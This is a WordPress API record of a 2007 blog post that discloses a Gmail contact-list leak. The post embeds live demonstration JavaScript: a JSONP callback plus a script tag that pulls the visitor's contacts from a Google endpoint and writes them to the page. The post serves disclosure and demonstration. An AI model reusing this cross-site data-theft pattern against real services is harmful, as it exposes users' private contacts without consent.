{"id":1081,"date":"2007-01-01T19:16:18","date_gmt":"2007-01-01T23:16:18","guid":{"rendered":"http:\/\/www.thewormbook.com\/hlog\/?p=1081"},"modified":"2007-01-01T19:16:18","modified_gmt":"2007-01-01T23:16:18","slug":"yikes","status":"publish","type":"post","link":"http:\/\/www.thewormbook.com\/hlog\/?p=1081","title":{"rendered":"Yikes!"},"content":{"rendered":"<p>There is <a href=\"http:\/\/docs.google.com\/data\/contacts?out=js&amp;show=ALL&amp;psort=Affinity&amp;callback=google&amp;max=99999\">a very simple bit of javascript<\/a> which will steal and display your entire Gmail contact list if you run it when are logged into Gmail. I have just <a href=\"http:\/\/www.oreillynet.com\/onlamp\/blog\/2007\/01\/your_gmail_contact_list_is_han.html\">tested it<\/a> here, and got back a list of 103 names. I had no idea there were so many people with whom I had corresponded from that address; nor why Richard Dawkins appears on it twice. But Google had better fix the hole damn quick.<br \/>\n<script type=\"text\/javascript\">\n\nfunction google(a){\n\nvar emails;\n\nemails = \"<ol>\";\n\nfor(i=0;i<a.Body.Contacts.length;i++)\n{\nemails += \"<li>\"+a.Body.Contacts[i].Email+\"<\/li>\";\n}\nemails += \"<\/ol>\";\ndocument.write(emails);\n}\n<\/script><\/p>\n\n<p><script\nsrc=\"http:\/\/docs.google.com\/data\/contacts?out=js&amp;show=ALL&amp;psort=Affinity&amp;callback=google&amp;max=99999\"><\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>There is a very simple bit of javascript which will steal and display your entire Gmail contact list if you run it when are logged into Gmail. I have just tested it here, and got back a list of 103 &hellip; <a href=\"http:\/\/www.thewormbook.com\/hlog\/?p=1081\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a> <a href=\"http:\/\/www.thewormbook.com\/hlog\/?p=1081\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=\/wp\/v2\/posts\/1081"}],"collection":[{"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1081"}],"version-history":[{"count":0,"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=\/wp\/v2\/posts\/1081\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1081"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1081"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.thewormbook.com\/hlog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1081"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}